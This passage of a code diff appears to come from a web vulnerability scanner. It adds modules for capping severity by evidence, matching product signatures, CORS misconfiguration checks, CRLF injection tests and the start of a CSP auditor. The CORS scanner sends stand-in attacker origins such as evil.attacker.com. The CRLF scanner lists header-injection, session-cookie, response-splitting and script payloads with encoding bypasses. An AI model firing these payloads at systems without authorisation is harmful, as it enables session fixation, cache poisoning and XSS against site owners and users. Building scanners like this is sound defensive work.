+                and abs(body_len - sample["length"]) <= self._LEN_TOLERANCE
+            ):
+                return True
+
+        return False
+
+    # ------------------------------------------------------------------
+    def is_not_found(self, status: int, body: str | bytes = b"") -> bool:
+        """
+        Convenience: returns True when this response is definitively not-found,
+        either by HTTP status >= 400 or by matching the site's catch-all baseline.
+        """
+        if status >= 400:
+            return True
+        return self.is_baseline(status, body)
+
+    # ------------------------------------------------------------------
+    @property
+    def built(self) -> bool:
+        return self._built
+
+    @property
+    def sample_count(self) -> int:
+        return len(self._samples)

backend/scanners/core/confidence.py

@@ -0,0 +1,128 @@
+"""
+core/confidence.py — Confidence Tier Tracker
+=============================================
+Defines three evidence tiers for injection/exploit findings and enforces
+automatic severity/CVSS capping so that weak-signal signals never appear as
+Critical or High.
+
+Tiers
+-----
+CONFIRMED   Direct proof: reflected unique token, OOB callback received,
+            timing delta reproduced ≥3×, or actual data exfiltrated.
+LIKELY      Two or more independent weak signals agree (e.g. error pattern
+            PLUS response-time anomaly), but no direct proof.
+UNCONFIRMED Single weak signal only (e.g. one error substring, one generic
+            500 response). Auto-capped to severity=Low, CVSS≤3.9.
+PENDING     OOB probe sent; awaiting external callback. Resolved to CONFIRMED
+            or EXPIRED at end-of-scan.
+
+Usage
+-----
+    from scanners.core.confidence import ConfidenceTracker as CT
+
+    sev  = CT.cap_severity(severity, confidence)
+    cvss = CT.cap_cvss(cvss_score, confidence)
+
+    self.add_vuln(..., severity=sev, cvss_score=cvss, confidence=confidence)
+"""
+
+from __future__ import annotations
+
+
+class ConfidenceTracker:
+    # Canonical tier strings (use these constants everywhere)
+    CONFIRMED   = "Confirmed"
+    LIKELY      = "Likely"
+    UNCONFIRMED = "Unconfirmed"
+    PENDING     = "Pending"
+
+    VALID_TIERS = {CONFIRMED, LIKELY, UNCONFIRMED, PENDING}
+
+    # Severity order (ascending)
+    _SEV_ORDER = ["Info", "Low", "Medium", "High", "Critical"]
+
+    # Maximum allowed severity per tier
+    _MAX_SEV: dict[str, str] = {
+        CONFIRMED:   "Critical",   # no cap
+        LIKELY:      "High",       # confirmed-tier cap not needed; High is reasonable
+        UNCONFIRMED: "Low",        # single weak signal — never escalate
+        PENDING:     "Medium",     # OOB probe sent but no callback yet
+    }
+
+    # Maximum allowed CVSS per tier
+    _MAX_CVSS: dict[str, float] = {
+        CONFIRMED:   10.0,
+        LIKELY:       6.9,
+        UNCONFIRMED:  3.9,
+        PENDING:      5.9,
+    }
+
+    # ------------------------------------------------------------------
+    @classmethod
+    def cap_severity(cls, severity: str, confidence: str) -> str:
+        """
+        Return severity capped to the tier maximum.
+
+        Example:
+            cap_severity("Critical", "Unconfirmed") → "Low"
+            cap_severity("Critical", "Confirmed")   → "Critical"
+        """
+        confidence = cls.normalize(confidence)
+        max_sev = cls._MAX_SEV.get(confidence, "Low")
+
+        try:
+            sev_idx = cls._SEV_ORDER.index(severity)
+        except ValueError:
+            sev_idx = 2  # default to Medium index
+
+        try:
+            max_idx = cls._SEV_ORDER.index(max_sev)
+        except ValueError:
+            max_idx = 2
+
+        return cls._SEV_ORDER[min(sev_idx, max_idx)]
+
+    # ------------------------------------------------------------------
+    @classmethod
+    def cap_cvss(cls, cvss: float, confidence: str) -> float:
+        """
+        Return CVSS score capped to the tier maximum.
+
+        Example:
+            cap_cvss(9.8, "Unconfirmed") → 3.9
+            cap_cvss(9.8, "Likely")      → 6.9
+            cap_cvss(9.8, "Confirmed")   → 9.8
+        """
+        confidence = cls.normalize(confidence)
+        max_cvss = cls._MAX_CVSS.get(confidence, 3.9)
+        return min(float(cvss), max_cvss)
+
+    # ------------------------------------------------------------------
+    @classmethod
+    def normalize(cls, confidence: str) -> str:
+        """Return a valid tier string, defaulting to UNCONFIRMED for unknown values."""
+        if confidence in cls.VALID_TIERS:
+            return confidence
+        # Case-insensitive lookup
+        for tier in cls.VALID_TIERS:
+            if confidence.lower() == tier.lower():
+                return tier
+        return cls.UNCONFIRMED
+
+    # ------------------------------------------------------------------
+    @classmethod
+    def apply(
+        cls,
+        severity: str,
+        cvss: float,
+        confidence: str,
+    ) -> tuple[str, float, str]:
+        """
+        Convenience: return (capped_severity, capped_cvss, normalized_confidence).
+
+        Usage:
+            sev, cvss, conf = ConfidenceTracker.apply(sev, cvss, confidence)
+            self.add_vuln(..., severity=sev, cvss_score=cvss, confidence=conf)
+        """
+        conf = cls.normalize(confidence)
+        return cls.cap_severity(severity, conf), cls.cap_cvss(cvss, conf), conf

backend/scanners/core/signatures.py

@@ -0,0 +1,268 @@
+"""
+core/signatures.py — Product Content-Signature Registry
+=========================================================
+Maps probe paths / product names to required content markers.
+A response must match at least ONE marker from must_contain to be reported as
+a genuine product finding (as opposed to a 200-OK SPA catch-all).
+
+Usage:
+    from scanners.core.signatures import matches_signature
+    if not matches_signature("jenkins", body, headers):
+        return  # not really Jenkins
+"""
+
+# Registry: key -> {"must_contain": [...], "must_contain_header": [...optional...]}
+# must_contain: any ONE of these strings must appear in the response body (case-insensitive)
+# must_contain_header: any ONE of these must appear in response headers (key:value prefix)
+SIGNATURES: dict[str, dict] = {
+    # ── CI/CD ────────────────────────────────────────────────────────────
+    "jenkins": {
+        "must_contain": [
+            "Dashboard [Jenkins]",
+            "X-Jenkins",
+            "Jenkins</title>",
+            "jenkins.js",
+            "plugin/credentials",
+        ],
+        "must_contain_header": ["x-jenkins:"],
+    },
+    "gitlab": {
+        "must_contain": [
+            "GitLab",
+            "gitlab-rails",
+            "users/sign_in",
+            "gl-field-error",
+        ],
+    },
+    "sonarqube": {
+        "must_contain": [
+            "SonarQube",
+            "sonar-ws.js",
+            "sonar.js",
+        ],
+    },
+    # ── Monitoring / Observability ────────────────────────────────────────
+    "grafana": {
+        "must_contain": [
+            "grafana",
+            "GrafanaTheme",
+            "grafana-login",
+            "Grafana</title>",
+        ],
+    },
+    "kibana": {
+        "must_contain": [
+            "kibana",
+            "kbn-",
+            "Elastic",
+        ],
+        "must_contain_header": ["kbn-name:"],
+    },
+    "prometheus": {
+        "must_contain": [
+            "Prometheus",
+            "prometheus_",
+            "# HELP",
+            "# TYPE",
+        ],
+    },
+    # ── Databases ─────────────────────────────────────────────────────────
+    "phpmyadmin": {
+        "must_contain": [
+            "phpMyAdmin",
+            "pma_",
+            "phpmyadmin",
+        ],
+    },
+    "adminer": {
+        "must_contain": [
+            "Adminer",
+            "adminer",
+            "db_select",
+        ],
+    },
+    "elasticsearch": {
+        "must_contain": [
+            '"cluster_name"',
+            '"number_of_nodes"',
+            '"status"',
+            'tagline',
+        ],
+    },
+    # ── Spring / Java ─────────────────────────────────────────────────────
+    "spring_actuator": {
+        "must_contain": [
+            '"status"',
+            '"components"',
+            '"diskSpace"',
+            '"ping"',
+        ],
+    },
+    "spring_actuator_env": {
+        "must_contain": [
+            '"activeProfiles"',
+            '"propertySources"',
+            '"systemProperties"',
+        ],
+    },
+    # ── PHP Tooling ───────────────────────────────────────────────────────
+    "phpinfo": {
+        "must_contain": [
+            "phpinfo()",
+            "PHP Version",
+            "php.ini",
+            "PHP Extension",
+        ],
+    },
+    # ── WordPress ─────────────────────────────────────────────────────────
+    "wp_login": {
+        "must_contain": [
+            "wp-submit",
+            "wp-login",
+            "WordPress",
+            "user_login",
+        ],
+    },
+    "wp_config": {
+        "must_contain": [
+            "DB_NAME",
+            "DB_PASSWORD",
+            "DB_HOST",
+            "define(",
+        ],
+    },
+    "wp_xmlrpc": {
+        "must_contain": [
+            "XML-RPC server accepts POST requests only",
+            "xmlrpc",
+        ],
+    },
+    # ── API Documentation ─────────────────────────────────────────────────
+    "swagger_ui": {
+        "must_contain": [
+            "swagger-ui",
+            "SwaggerUI",
+            "Swagger UI",
+            "api-docs",
+        ],
+    },
+    "openapi_spec": {
+        "must_contain": [
+            '"swagger"',
+            '"openapi"',
+            '"paths"',
+        ],
+    },
+    "redoc": {
+        "must_contain": [
+            "ReDoc",
+            "redoc",
+        ],
+    },
+    # ── Source Control ────────────────────────────────────────────────────
+    "git_head": {
+        "must_contain": [
+            "ref: refs/heads/",
+        ],
+    },
+    "git_config": {
+        "must_contain": [
+            "[core]",
+            "[remote",
+            "repositoryformatversion",
+        ],
+    },
+    "env_file": {
+        "must_contain": [
+            "=",  # at least one KEY=VALUE line
+        ],
+        "_min_matches": 2,  # require 2+ KEY=VALUE patterns (avoid single-line pages)
+    },
+    # ── Containers / Infra ────────────────────────────────────────────────
+    "portainer": {
+        "must_contain": [
+            "Portainer",
+            "portainer",
+        ],
+    },
+    "kubernetes_dashboard": {
+        "must_contain": [
+            "Kubernetes Dashboard",
+            "kube-dashboard",
+        ],
+    },
+    # ── Messaging ─────────────────────────────────────────────────────────
+    "rabbitmq": {
+        "must_contain": [
+            "RabbitMQ",
+            "rabbitmq",
+        ],
+    },
+    # ── Generic Admin ─────────────────────────────────────────────────────
+    "generic_admin_form": {
+        "must_contain": [
+            "<form",
+            "password",
+        ],
+        "_all_required": True,  # ALL must_contain must be present
+    },
+}
+
+
+def matches_signature(
+    sig_key: str,
+    body: str,
+    headers: dict | None = None,
+    *,
+    log_fn=None,
+    url: str = "",
+) -> bool:
+    """
+    Return True if `body` (and optionally `headers`) satisfy the signature for `sig_key`.
+
+    Args:
+        sig_key:   Key in SIGNATURES dict.
+        body:      Response body text.
+        headers:   Optional dict of response headers (lowercase keys preferred).
+        log_fn:    Optional callable(msg) for debug logging of rejections.
+        url:       URL being probed (for logging only).
+
+    Returns:
+        True  → response contains the product signature → report it.
+        False → response does NOT match → suppress (log at DEBUG).
+    """
+    sig = SIGNATURES.get(sig_key)
+    if not sig:
+        # No signature defined for this key → pass through (don't suppress).
+        return True
+
+    body_lower = body.lower()
+    must_contain = sig.get("must_contain", [])
+    must_contain_header = sig.get("must_contain_header", [])
+    all_required = sig.get("_all_required", False)
+    min_matches = sig.get("_min_matches", 1)
+
+    # ── Header check ──────────────────────────────────────────────────────
+    if must_contain_header and headers:
+        hdrs_lower = {k.lower(): str(v).lower() for k, v in headers.items()}
+        for hdr_prefix in must_contain_header:
+            hdr_key = hdr_prefix.rstrip(":").lower()
+            if hdr_key in hdrs_lower:
+                return True  # Header match is sufficient
+
+    # ── Body check ────────────────────────────────────────────────────────
+    if all_required:
+        matched = all(term.lower() in body_lower for term in must_contain)
+    else:
+        matched_count = sum(1 for term in must_contain if term.lower() in body_lower)
+        matched = matched_count >= min_matches
+
+    if not matched:
+        if log_fn:
+            log_fn(
+                f"[Signatures] SUPPRESSED {url!r}: 200 but no {sig_key!r} signature "
+                f"(checked {len(must_contain)} markers)"
+            )
+        return False
+
+    return True

backend/scanners/cors_scanner.py

@@ -0,0 +1,278 @@
+"""
+cors_scanner.py — Tests for CORS (Cross-Origin Resource Sharing) misconfigurations.
+No external dependencies required.
+"""
+import urllib.request
+import urllib.error
+import urllib.parse
+from scanners.base_scanner import BaseScanner
+from utils.callback import build_callback_url
+
+TEST_ORIGINS = [
+    "https://evil.attacker.com",
+    "https://malicious-site.net",
+    "null",
+]
+
+CALLBACK_ORIGIN = build_callback_url("/cors").replace("https://", "https://callback.").replace("http://", "http://callback.")
+
+
+class CorsScanner(BaseScanner):
+    SCANNER_NAME = "CORS Misconfiguration Scanner"
+    _SCANNER_KEY = "cors"
+
+    def _make_ctx(self):
+        return self.get_ssl_context()
+
+    def run(self):
+        self.log("INFO", f"[CORS] Testing Cross-Origin Resource Sharing policy on {self.target}...")
+
+        for origin in TEST_ORIGINS:
+            self._test_origin(origin)
+
+        self._test_origin(CALLBACK_ORIGIN)
+        self._test_subdomain_trust()
+        self._test_preflight()
+        self._test_preflight_credentials()
+        self.log("INFO", f"[CORS] CORS analysis complete. {len(self.vulns)} issue(s) found.")
+        return self.vulns
+
+    def _test_origin(self, origin):
+        try:
+            headers = {
+                "User-Agent": "LarShield/2.0",
+                "Origin": origin,
+            }
+            if self.auth_headers:
+                headers.update(self.auth_headers)
+
+            req = urllib.request.Request(
+                self.target,
+                headers=headers,
+            )
+            with urllib.request.urlopen(req, timeout=8, context=self._make_ctx()) as resp:
+                headers = {k.lower(): v for k, v in resp.getheaders()}
+                acao = headers.get("access-control-allow-origin", "")
+                acac = headers.get("access-control-allow-credentials", "").lower()
+
+                if acao == "*":
+                    self.log("WARNING", f"[CORS] Wildcard ACAO header: Access-Control-Allow-Origin: *")
+                    if acac == "true":
+                        self.log("CRITICAL", "[CORS] CRITICAL: Wildcard CORS + credentials=true!")
+                        self.add_vuln(
+                            title="Critical CORS: Wildcard Origin with Credentials Allowed",
+                            severity="Critical", category="CORS", cvss_score=9.8,
+                            description="The server responds with Access-Control-Allow-Origin: * AND Access-Control-Allow-Credentials: true. This combination is exploitable — any malicious website can make authenticated cross-origin requests on behalf of logged-in users, enabling account takeover and data theft.",
+                            remediation="Never combine wildcard ACAO with credentials. Use explicit allowlisted origins:\n  Access-Control-Allow-Origin: https://yourdomain.com\n  Access-Control-Allow-Credentials: true",
+                            evidence=f"Response headers: Access-Control-Allow-Origin: *, Access-Control-Allow-Credentials: true",
+                            payload=f"Origin: {origin}",
+                            request_details="GET with Origin header",
+                            response_details=f"ACAO: *, ACAC: true",
+                            confidence="Confirmed",
+                            cwe_ids=["CWE-942"],
+                            owasp_category="A01:2021 – Broken Access Control",
+                        )
+                    else:
+                        self.add_vuln(
+                            title="Overly Permissive CORS Policy (Wildcard Origin)",
+                            severity="Medium", category="CORS", cvss_score=5.4,
+                            description="The server allows cross-origin requests from any domain (Access-Control-Allow-Origin: *). This may expose public APIs to abuse from malicious websites.",
+                            remediation="Restrict CORS to specific trusted origins:\n  Access-Control-Allow-Origin: https://yourfrontenddomain.com\nUse environment-based origin allowlists.",
+                            evidence=f"Response header: Access-Control-Allow-Origin: *",
+                            payload=f"Origin: {origin}",
+                            request_details="GET with Origin header",
+                            response_details=f"ACAO: *",
+                            confidence="Confirmed",
+                            cwe_ids=["CWE-942"],
+                            owasp_category="A01:2021 – Broken Access Control",
+                        )
+
+                elif acao == origin and origin != "null":
+                    self.log("WARNING", f"[CORS] Origin reflected back: {origin} -> ACAO: {acao}")
+                    if acac == "true":
+                        self.log("CRITICAL", f"[CORS] Arbitrary origin reflected with credentials=true!")
+                        self.add_vuln(
+                            title="CORS: Arbitrary Origin Reflected with Credentials",
+                            severity="Critical", category="CORS", cvss_score=9.1,
+                            description=f"The server reflected the attacker-controlled origin '{origin}' in the ACAO header AND allows credentials. This enables cross-origin authenticated requests from any malicious website — a classic CORS-based account takeover vector.",
+                            remediation="Implement an explicit origin allowlist. Never reflect arbitrary origins:\n  allowed = ['https://app.yourdomain.com']\n  if request.headers.get('Origin') in allowed:\n      response.headers['Access-Control-Allow-Origin'] = request.headers['Origin']",
+                            evidence=f"Origin: {origin} -> ACAO: {acao}, ACAC: {acac}",
+                            payload=f"Origin: {origin}",
+                            request_details="GET with Origin header",
+                            response_details=f"ACAO: {acao}, ACAC: {acac}",
+                            confidence="Confirmed",
+                            cwe_ids=["CWE-942"],
+                            owasp_category="A01:2021 – Broken Access Control",
+                        )
+                    else:
+                        self.add_vuln(
+                            title="CORS: Arbitrary Origin Reflected Without Credentials",
+                            severity="Medium", category="CORS", cvss_score=5.4,
+                            description=f"The server reflected the arbitrary origin '{origin}'. While credentials are not allowed, this still permits cross-origin data theft of non-credentialed responses.",
+                            remediation="Use a static allowlist of trusted origins rather than reflecting the request Origin header.",
+                            evidence=f"Origin: {origin} -> ACAO: {acao}",
+                            payload=f"Origin: {origin}",
+                            request_details="GET with Origin header",
+                            response_details=f"ACAO: {acao}",
+                            confidence="Confirmed",
+                            cwe_ids=["CWE-942"],
+                            owasp_category="A01:2021 – Broken Access Control",
+                        )
+
+                elif origin == "null" and acao == "null":
+                    self.log("WARNING", "[CORS] null origin accepted! Sandboxed iframes can exploit this.")
+                    self.add_vuln(
+                        title="CORS: Null Origin Accepted",
+                        severity="Medium", category="CORS", cvss_score=6.1,
+                        description="The server accepts 'null' as a valid CORS origin. Sandboxed iframes or locally opened HTML files send Origin: null, which attackers can exploit to bypass CORS restrictions.",
+                        remediation="Remove 'null' from any CORS origin allowlist. Only accept explicit https:// origins.",
+                        evidence="Origin: null -> ACAO: null",
+                        payload="Origin: null",
+                        request_details="GET with Origin: null",
+                        response_details="ACAO: null",
+                        confidence="Confirmed",
+                        cwe_ids=["CWE-942"],
+                        owasp_category="A01:2021 – Broken Access Control",
+                    )
+                else:
+                    self.log("SUCCESS", f"[CORS] Origin '{origin}': Correctly rejected")
+
+        except urllib.error.HTTPError as e:
+            acao = e.headers.get("Access-Control-Allow-Origin", "")
+            if acao:
+                self.log("INFO", f"[CORS] HTTP {e.code} but ACAO header present: {acao}")
+        except Exception as e:
+            self.log("ERROR", f"[CORS] Request to {self.target} with origin '{origin}': {e}")
+
+    def _test_subdomain_trust(self):
+        try:
+            parsed = urllib.parse.urlparse(self.target)
+            domain = parsed.netloc
+            sub_origin = f"{parsed.scheme}://evil.{domain}"
+            headers = {
+                "User-Agent": "LarShield/2.0",
+                "Origin": sub_origin,
+            }
+            if self.auth_headers:
+                headers.update(self.auth_headers)
+
+            req = urllib.request.Request(
+                self.target,
+                headers=headers,
+            )
+            with urllib.request.urlopen(req, timeout=8, context=self._make_ctx()) as resp:
+                headers = {k.lower(): v for k, v in resp.getheaders()}
+                acao = headers.get("access-control-allow-origin", "")
+                acac = headers.get("access-control-allow-credentials", "").lower()
+
+                if acao == sub_origin:
+                    self.log("WARNING", f"[CORS] Subdomain trust detected: {sub_origin} is allowed!")
+                    self.add_vuln(
+                        title="CORS: Subdomain Trust - Evil Subdomain Allowed",
+                        severity="High", category="CORS", cvss_score=7.0,
+                        description=f"The server trusts subdomains of its own origin. If any subdomain is compromised (e.g., via XSS or takeover), an attacker can make authenticated CORS requests.",
+                        remediation="Explicitly list only the exact subdomains that need CORS access, or use a dedicated API domain.",
+                        evidence=f"Origin: {sub_origin} -> ACAO: {acao}",
+                        payload=f"Origin: {sub_origin}",
+                        request_details="GET with subdomain Origin header",
+                        response_details=f"ACAO: {acao}, ACAC: {acac}",
+                        confidence="Confirmed",
+                        cwe_ids=["CWE-942"],
+                        owasp_category="A01:2021 – Broken Access Control",
+                    )
+                else:
+                    self.log("SUCCESS", f"[CORS] Subdomain '{sub_origin}': Correctly rejected")
+        except Exception as e:
+            self.log("ERROR", f"[CORS] Subdomain trust test error: {e}")
+
+    def _test_preflight(self):
+        try:
+            req = urllib.request.Request(
+                self.target,
+                method="OPTIONS",
+                headers={
+                    "User-Agent": "LarShield/2.0",
+                    "Origin": "https://evil.attacker.com",
+                    "Access-Control-Request-Method": "DELETE",
+                    "Access-Control-Request-Headers": "Authorization",
+                },
+            )
+            with urllib.request.urlopen(req, timeout=8, context=self._make_ctx()) as resp:
+                headers = {k.lower(): v for k, v in resp.getheaders()}
+                acam = headers.get("access-control-allow-methods", "")
+                acah = headers.get("access-control-allow-headers", "")
+                acao = headers.get("access-control-allow-origin", "")
+
+                if acao == "https://evil.attacker.com":
+                    self.log("WARNING", "[CORS] Preflight reflects arbitrary origin!")
+                    self.add_vuln(
+                        title="CORS Preflight Origin Reflection",
+                        severity="Medium", category="CORS", cvss_score=5.4,
+                        description="The OPTIONS preflight response reflects the Origin header in Access-Control-Allow-Origin. This indicates a permissive CORS policy that trusts arbitrary origins.",
+                        remediation="Do not reflect the Origin header in preflight responses. Use explicit allowlisted origins.",
+                        evidence=f"Origin: https://evil.attacker.com -> ACAO: {acao}",
+                        payload="Origin: https://evil.attacker.com",
+                        request_details="OPTIONS with Origin: https://evil.attacker.com",
+                        response_details=f"ACAO: {acao}, ACAM: {acam}",
+                        confidence="Confirmed",
+                        cwe_ids=["CWE-942"],
+                        owasp_category="A01:2021 – Broken Access Control",
+                    )
+
+                if "DELETE" in acam.upper() or "PUT" in acam.upper():
+                    self.log("WARNING", f"[CORS] Preflight allows dangerous methods: {acam}")
+                    self.add_vuln(
+                        title="CORS Preflight Allows Dangerous HTTP Methods",
+                        severity="Medium", category="CORS", cvss_score=5.4,
+                        description=f"The CORS preflight response allows dangerous HTTP methods from cross-origin requests: {acam}. Combined with a weak origin policy, this enables destructive cross-origin operations.",
+                        remediation="Restrict ACAM to only the methods your API actually requires:\n  Access-Control-Allow-Methods: GET, POST\nNever include DELETE or PUT unless explicitly required cross-origin.",
+                        evidence=f"ACAM: {acam}",
+                        payload="Access-Control-Request-Method: DELETE",
+                        request_details="OPTIONS with Access-Control-Request-Method: DELETE",
+                        response_details=f"ACAM: {acam}, ACAH: {acah}",
+                        confidence="High",
+                        cwe_ids=["CWE-942"],
+                        owasp_category="A01:2021 – Broken Access Control",
+                    )
+                else:
+                    self.log("SUCCESS", "[CORS] Preflight method policy: Appropriate")
+
+                if acah and "Authorization" in acah:
+                    self.log("INFO", "[CORS] Preflight allows Authorization header")
+        except Exception as e:
+            self.log("ERROR", f"[CORS] Preflight check error: {e}")
+
+    def _test_preflight_credentials(self):
+        try:
+            req = urllib.request.Request(
+                self.target,
+                method="OPTIONS",
+                headers={
+                    "User-Agent": "LarShield/2.0",
+                    "Origin": "https://evil.attacker.com",
+                    "Access-Control-Request-Method": "GET",
+                    "Access-Control-Request-Headers": "Authorization",
+                },
+            )
+            with urllib.request.urlopen(req, timeout=8, context=self._make_ctx()) as resp:
+                headers = {k.lower(): v for k, v in resp.getheaders()}
+                acac = headers.get("access-control-allow-credentials", "").lower()
+                acao = headers.get("access-control-allow-origin", "")
+
+                if acac == "true" and acao == "https://evil.attacker.com":
+                    self.log("CRITICAL", "[CORS] Preflight allows credentials with arbitrary origin!")
+                    self.add_vuln(
+                        title="CORS Preflight Allows Credentials with Arbitrary Origin",
+                        severity="Critical", category="CORS", cvss_score=9.1,
+                        description="The OPTIONS preflight response allows credentials AND reflects arbitrary origin. This enables authenticated cross-origin requests from any attacker-controlled domain.",
+                        remediation="Only allow credentials with specific allowlisted origins. Never reflect arbitrary origins with credentials=true.",
+                        evidence=f"ACAO: {acao}, ACAC: {acac}",
+                        payload="Origin: https://evil.attacker.com",
+                        request_details="OPTIONS with credentials check",
+                        response_details=f"ACAO: {acao}, ACAC: {acac}",
+                        confidence="Confirmed",
+                        cwe_ids=["CWE-942"],
+                        owasp_category="A01:2021 – Broken Access Control",
+                    )
+        except Exception as e:
+            self.log("ERROR", f"[CORS] Preflight credentials test error: {e}")

backend/scanners/crlf_scanner.py

@@ -0,0 +1,162 @@
+"""
+crlf_scanner.py — CRLF Injection / HTTP Response Splitting
+============================================================
+Expert-grade rewrite (GAP-007 fix):
+  1. Path-based injection (original + new payloads)
+  2. Query parameter injection
+  3. Unicode/double-encoded CRLF bypass variants
+  4. Cookie injection via Location header chain
+  5. Response splitting (Set-Cookie + HTTP/1.1 200 OK injection)
+  6. Redirect parameter injection (common real-world vector)
+"""
+import urllib.parse
+from scanners.base_scanner import BaseScanner
+
+INJECT_HEADER = "Wss-Crlf-Test"
+INJECT_VALUE = "wss-crlf-confirmed"
+
+PATH_PAYLOADS = [
+    f"/%0d%0a{INJECT_HEADER}:{INJECT_VALUE}",
+    f"/%0a{INJECT_HEADER}:{INJECT_VALUE}",
+    f"/%0d%0aSet-Cookie:{INJECT_HEADER}={INJECT_VALUE}",
+    f"/%0d%0aContent-Length:0%0d%0aHTTP/1.1 200 OK%0d%0a{INJECT_HEADER}:{INJECT_VALUE}",
+    f"/%E5%98%8A%E5%98%8D{INJECT_HEADER}:{INJECT_VALUE}",
+    f"/%E5%98%8A{INJECT_HEADER}:{INJECT_VALUE}",
+    f"/%0d%0a{INJECT_HEADER}:{INJECT_VALUE}%0d%0aX-Extra:test",  # double-encode variant
+    f"/%250d%250a{INJECT_HEADER}:{INJECT_VALUE}",
+    f"/%0d%0aX-CRLF-Test:%20{INJECT_VALUE}",
+    f"/%0a%0d{INJECT_HEADER}:{INJECT_VALUE}",
+    f"/%23%0a{INJECT_HEADER}:{INJECT_VALUE}",
+    f"/%0d%0a%0d%0a<script>alert(1)</script>",
+]
+
+PARAM_PAYLOADS = [
+    f"%0d%0a{INJECT_HEADER}:{INJECT_VALUE}",              # standard percent-encoded
+    f"%0a{INJECT_HEADER}:{INJECT_VALUE}",                # LF only
+    f"%0d%0aSet-Cookie:{INJECT_HEADER}={INJECT_VALUE}",  # cookie injection
+    f"%0d%0aSet-Cookie:session=injected;path=/",         # session cookie injection
+    f"%0d%0a{INJECT_HEADER}:{INJECT_VALUE}%0d%0a%0d%0a<html><script>alert(1)</script></html>",
+    f"%250d%250a{INJECT_HEADER}:{INJECT_VALUE}",         # double-encoded
+]
+
+REDIRECT_PARAMS = [
+    "redirect", "redirect_url", "redirect_uri", "return", "return_url",
+    "returnto", "next", "url", "goto", "location", "dest", "destination",
+]
+
+
+class CrlfScanner(BaseScanner):
+    SCANNER_NAME = "CRLF Injection Scanner"
+    _SCANNER_KEY = "crlf"
+
+    def __init__(self, scan_id, target, domain, **kwargs):
+        super().__init__(scan_id, target, domain, **kwargs)
+
+    def run(self) -> list:
+        self.log("INFO", f"[CRLF] Testing HTTP Response Splitting on {self.target}...")
+
+        self._test_path_injection()
+        if self.vulns:
+            return self.vulns
+
+        self._test_query_param_injection()
+        if self.vulns:
+            return self.vulns
+
+        self._test_redirect_params()
+
+        if not self.vulns:
+            self.log("SUCCESS", "[CRLF] No CRLF injection detected.")
+        return self.vulns
+
+    def _test_path_injection(self):
+        base = self.target.rstrip("/")
+        for payload in PATH_PAYLOADS:
+            test_url = base + payload
+            body, status, resp_headers = self._make_request(
+                test_url, return_response_obj=True
+            )
+            if resp_headers and self._header_injected(resp_headers):
+                self._report("URL path", payload, resp_headers)
+                return
+
+    def _test_query_param_injection(self):
+        parsed = urllib.parse.urlparse(self.target)
+        qs = urllib.parse.parse_qsl(parsed.query)
+        if not qs:
+            return
+        for k, v in qs:
+            for payload in PARAM_PAYLOADS:
+                test_qs = [(k_p, (v_p + payload if k_p == k else v_p)) for k_p, v_p in qs]
+                test_url = parsed._replace(query=urllib.parse.urlencode(test_qs)).geturl()
+                body, status, resp_headers = self._make_request(
+                    test_url, return_response_obj=True
+                )
+                if resp_headers and self._header_injected(resp_headers):
+                    self._report(f"Query param `{k}`", payload, resp_headers)
+                    return
+
+    def _test_redirect_params(self):
+        parsed = urllib.parse.urlparse(self.target)
+        base = f"{parsed.scheme}://{parsed.netloc}{parsed.path}"
+        for param in REDIRECT_PARAMS:
+            for payload in PARAM_PAYLOADS[:3]:
+                test_url = f"{base}?{param}=https://example.com{urllib.parse.quote(payload)}"
+                body, status, resp_headers = self._make_request(
+                    test_url, return_response_obj=True
+                )
+                if resp_headers and self._header_injected(resp_headers):
+                    self._report(f"Redirect param `{param}`", payload, resp_headers)
+                    return
+                if resp_headers:
+                    loc = resp_headers.get("Location", "")
+                    if INJECT_HEADER.lower() in loc.lower():
+                        self._report(f"Redirect param `{param}` -> Location header", payload, resp_headers)
+                        return
+
+    def _header_injected(self, headers) -> bool:
+        if headers.get(INJECT_HEADER):
+            return True
+        if headers.get("Set-Cookie") and INJECT_HEADER in (headers.get("Set-Cookie") or ""):
+            return True
+        return False
+
+    def _report(self, vector: str, payload: str, headers):
+        self.log("CRITICAL", f"[CRLF] Injection confirmed via {vector}!")
+        evidence_header = INJECT_HEADER
+        for k, v in headers.items():
+            if k.lower() == INJECT_HEADER.lower():
+                evidence_header = f"{k}: {v}"
+                break
+        self.add_vuln(
+            title="CRLF Injection / HTTP Response Splitting",
+            severity="High",
+            category="CRLF Injection",
+            cvss_score=7.4,
+            confidence="Confirmed",
+            references=[
+                "https://owasp.org/www-community/vulnerabilities/CRLF_Injection",
+                "https://cwe.mitre.org/data/definitions/113.html",
+            ],
+            description=(
+                f"CRLF injection confirmed via **{vector}**.\n\n"
+                f"**Payload:** `{payload}`\n\n"
+                f"By injecting `%0d%0a` (Carriage Return + Line Feed) sequences, an attacker can:\n"
+                "- Inject arbitrary HTTP response headers (`Set-Cookie`, `Location`)\n"
+                "- Perform HTTP Response Splitting to poison caches\n"
+                "- Conduct session fixation attacks via `Set-Cookie` injection\n"
+                "- Chain into XSS via injected `Content-Type: text/html`\n"
+                "- Bypass CSP by injecting a new `Content-Security-Policy` header"
+            ),
+            remediation=(
+                "1. URL-encode all user input before including it in HTTP headers or redirect URLs.\n"
+                "2. Reject or strip `\\r` and `\\n` characters from all user-supplied values.\n"
+                "3. Use web framework redirect functions (`redirect()`) instead of raw `Location:` header setting.\n"
+                "4. Implement a WAF rule blocking `%0d`, `%0a`, `\\r`, `\\n` in header values.\n"
+                "5. Set `Content-Security-Policy` and `X-Frame-Options` to limit XSS chaining."
+            ),
+            payload=payload,
+            evidence=f"Header `{evidence_header}` found in server response after injection via {vector}.",
+            request_details=f"Injection via {vector}",
+            response_details=f"Injected header found: {evidence_header}",
+        )

backend/scanners/csp_scanner.py

@@ -0,0 +1,280 @@
+"""
+csp_scanner.py — Content Security Policy (CSP) Deep Auditor
+============================================================
+Parses and analyses the Content-Security-Policy (and CSP-Report-Only) header:
+  - Detects missing CSP entirely
+  - Flags unsafe-inline / unsafe-eval in script-src
+  - Flags wildcard (*) sources
+  - Detects missing critical directives
+  - Identifies CSP bypass vectors (data:, blob:, http: schemes)
+  - Checks for report-uri / report-to configuration
+  - Scores overall CSP strength
+"""
+import re
+import urllib.request
+import urllib.error
+from scanners.base_scanner import BaseScanner
+
+CRITICAL_DIRECTIVES = [
+    "default-src", "script-src", "style-src", "img-src",
+    "connect-src", "font-src", "object-src", "frame-ancestors",
+]
+
+BYPASS_SCHEMES = ["data:", "blob:", "http:", "javascript:"]
+
+CDNS_ALLOWLISTED_BUT_RISKY = [
+    "cdn.jsdelivr.net", "unpkg.com", "cdnjs.cloudflare.com",
+    "ajax.googleapis.com", "code.jquery.com",
+]
+
+
+class CspScanner(BaseScanner):
